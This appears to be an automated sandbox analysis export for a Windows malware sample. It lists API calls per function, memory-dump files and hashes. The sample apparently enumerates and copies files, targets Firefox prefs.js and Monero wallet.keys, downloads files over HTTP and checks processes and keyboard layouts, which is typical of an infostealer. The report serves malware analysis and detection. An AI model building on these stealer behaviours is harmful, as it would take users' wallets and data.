Part of subcall function 0078A9B0: lstrcpy.KERNEL32(00000000), ref: 0078AA04
Part of subcall function 0078A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0078AA12

Part of subcall function 0078A8A0: lstrcpy.KERNEL32(?,00790E17), ref: 0078A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,007915B8,00790D96), ref: 0077F71E
StrCmpCA.SHLWAPI(?,007915BC), ref: 0077F76F
StrCmpCA.SHLWAPI(?,007915C0), ref: 0077F785
FindNextFileA.KERNELBASE(000000FF,?), ref: 0077FAB1
FindClose.KERNEL32(000000FF), ref: 0077FAC3

Strings

prefs.js, xrefs: 0077F812

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 0ce7358b14999b2920d48e61696608188a3b6fc89d58e323e29f5112e6656fd0
Instruction ID: a56f7249def4861d376842bda6ef3ed8c497e12d8040d051b8fcc81f5e38b63f
Opcode Fuzzy Hash: 0ce7358b14999b2920d48e61696608188a3b6fc89d58e323e29f5112e6656fd0
Instruction Fuzzy Hash: 64B15171950108EBDF24FF60DD9AAEE7379AF54300F4081A9E40A96141EF3C6B49CBA2

Function 007716D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0078A740: lstrcpy.KERNEL32(00790E17,00000000), ref: 0078A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0079510C,?,?,?,007951B4,?,?,00000000,?,00000000), ref: 00771923
StrCmpCA.SHLWAPI(?,0079525C), ref: 00771973
StrCmpCA.SHLWAPI(?,00795304), ref: 00771989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00771D40
DeleteFileA.KERNEL32(00000000), ref: 00771DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00771E20
FindClose.KERNEL32(000000FF), ref: 00771E32

Part of subcall function 0078A920: lstrcpy.KERNEL32(00000000,?), ref: 0078A972
Part of subcall function 0078A920: lstrcat.KERNEL32(00000000), ref: 0078A982

Part of subcall function 0078A9B0: lstrlen.KERNEL32(?,014B8840,?,\Monero\wallet.keys,00790E17), ref: 0078A9C5
Part of subcall function 0078A9B0: lstrcpy.KERNEL32(00000000), ref: 0078AA04
Part of subcall function 0078A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0078AA12

Part of subcall function 0078A8A0: lstrcpy.KERNEL32(?,00790E17), ref: 0078A905

Strings

\*.*, xrefs: 007717F1

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: e6bb8eed5a173c050307f50ff82ecfe016ee503074c37d71ab317f320ff05ad8
Instruction ID: 0ed5d93192f24cd45b0a17af3bd1b033a477d7e86148175f8803f211c5475797
Opcode Fuzzy Hash: e6bb8eed5a173c050307f50ff82ecfe016ee503074c37d71ab317f320ff05ad8
Instruction Fuzzy Hash: B412C371950118EAEF15FB60DC9AAED7378AF54300F4045EAB50A66091EF3C6F49CFA2

Function 0077DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0078A740: lstrcpy.KERNEL32(00790E17,00000000), ref: 0078A788

Part of subcall function 0078A920: lstrcpy.KERNEL32(00000000,?), ref: 0078A972
Part of subcall function 0078A920: lstrcat.KERNEL32(00000000), ref: 0078A982

Part of subcall function 0078A9B0: lstrlen.KERNEL32(?,014B8840,?,\Monero\wallet.keys,00790E17), ref: 0078A9C5
Part of subcall function 0078A9B0: lstrcpy.KERNEL32(00000000), ref: 0078AA04
Part of subcall function 0078A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0078AA12

Part of subcall function 0078A8A0: lstrcpy.KERNEL32(?,00790E17), ref: 0078A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,007914B0,00790C2A), ref: 0077DAEB
StrCmpCA.SHLWAPI(?,007914B4), ref: 0077DB33
StrCmpCA.SHLWAPI(?,007914B8), ref: 0077DB49
FindNextFileA.KERNELBASE(000000FF,?), ref: 0077DDCC
FindClose.KERNEL32(000000FF), ref: 0077DDDE

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 32d779f7e69913912255af7d4b6f179aa35ee62fab80c64d9fb2913fbccf38bc
Instruction ID: c6276bec7ee827b282deb9d8bf07a0299013f57f40beab0869bc3a7917e16551
Opcode Fuzzy Hash: 32d779f7e69913912255af7d4b6f179aa35ee62fab80c64d9fb2913fbccf38bc
Instruction Fuzzy Hash: 08916772910104EBDF14FB70EC5A9ED737DAF84340F408669F90A96151EE3CAB19DBA2

Function 007760A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0078A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0078A7E6

Part of subcall function 007747B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00774839
Part of subcall function 007747B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00774849

InternetOpenA.WININET(00790DF7,00000001,00000000,00000000,00000000), ref: 0077610F
StrCmpCA.SHLWAPI(?,014BE480), ref: 00776147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 0077618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 007761B3
InternetReadFile.WININET(?,?,00000400,?), ref: 007761DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0077620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00776249
InternetCloseHandle.WININET(?), ref: 00776253
InternetCloseHandle.WININET(00000000), ref: 00776260

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 56ae46f7b27c09848d2949cce4c3e7ca65c001ce5feb4569c21a41c154166175
Instruction ID: d015f776d446a717e06e3dc2575cb90feebd5237906c624963e5ef4084c6a9ae
Opcode Fuzzy Hash: 56ae46f7b27c09848d2949cce4c3e7ca65c001ce5feb4569c21a41c154166175
Instruction Fuzzy Hash: 4B5180B0950208ABDF20DF50DD49BEE77B8FB04341F108198B609A71C5DB786A89CF95

Function 00787B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0078A740: lstrcpy.KERNEL32(00790E17,00000000), ref: 0078A788

GetKeyboardLayoutList.USER32(00000000,00000000,007905AF), ref: 00787BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00787BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00787C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00787C62
LocalFree.KERNEL32(00000000), ref: 00787D22

Strings

/ , xrefs: 00787C7F

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 00cc1025d6d1fe0da13ec88b84c39e2ef965011e5a292ae8394e11714a681bda
Instruction ID: 259be32d6398411311b35125ad8f3a70875c309a511d080169474ccfd6f77d13
Opcode Fuzzy Hash: 00cc1025d6d1fe0da13ec88b84c39e2ef965011e5a292ae8394e11714a681bda
Instruction Fuzzy Hash: 1F413E71994218EBDB24EB94DC99BEDB3B8FF44700F2041D9E40A62191DB786F85CFA1

Function 0077E430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0078A740: lstrcpy.KERNEL32(00790E17,00000000), ref: 0078A788

Part of subcall function 0078A920: lstrcpy.KERNEL32(00000000,?), ref: 0078A972
Part of subcall function 0078A920: lstrcat.KERNEL32(00000000), ref: 0078A982

Part of subcall function 0078A9B0: lstrlen.KERNEL32(?,014B8840,?,\Monero\wallet.keys,00790E17), ref: 0078A9C5
Part of subcall function 0078A9B0: lstrcpy.KERNEL32(00000000), ref: 0078AA04
Part of subcall function 0078A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0078AA12

Part of subcall function 0078A8A0: lstrcpy.KERNEL32(?,00790E17), ref: 0078A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00790D73), ref: 0077E4A2
StrCmpCA.SHLWAPI(?,007914F8), ref: 0077E4F2
StrCmpCA.SHLWAPI(?,007914FC), ref: 0077E508
FindNextFileA.KERNEL32(000000FF,?), ref: 0077EBDF

Strings

\*.*, xrefs: 0077E44D

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 9242ec7064e0d2a14786d9b353362d6ea863ac170d32a752b673773b38ba875d
Instruction ID: 4e05a0a8f80998c5c174bc6f0880eef7f9212315fc2df2e11ff1c0d6408ddeca
Opcode Fuzzy Hash: 9242ec7064e0d2a14786d9b353362d6ea863ac170d32a752b673773b38ba875d
Instruction Fuzzy Hash: 6F122471950118EAEF15FB60DC9AEED7378AF54300F4045EAB50A66091EF3C6F49CBA2

Function 00789600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0078961E
Process32First.KERNEL32(00790ACA,00000128), ref: 00789632
Process32Next.KERNEL32(00790ACA,00000128), ref: 00789647
StrCmpCA.SHLWAPI(?,00000000), ref: 0078965C
CloseHandle.KERNEL32(00790ACA), ref: 0078967A

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 53940d8ae11d41f14b60c4e4c3e094ed2e5a3b3682cc9de9ee6d23a35ce3f5d5
Instruction ID: 5c38e5bc9e7e10190fc91864212762dbc101d3cde4a9d5d081164704c82edc2a
Opcode Fuzzy Hash: 53940d8ae11d41f14b60c4e4c3e094ed2e5a3b3682cc9de9ee6d23a35ce3f5d5
Instruction Fuzzy Hash: 63011E75A54208EBCB14DFA5DD98BEDB7F8EF48710F144288AA05A7250EB34DB40DF51

Function 00787A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,014BDD78,00000000,?,00790E10,00000000,?,00000000,00000000), ref: 00787A63
RtlAllocateHeap.NTDLL(00000000), ref: 00787A6A
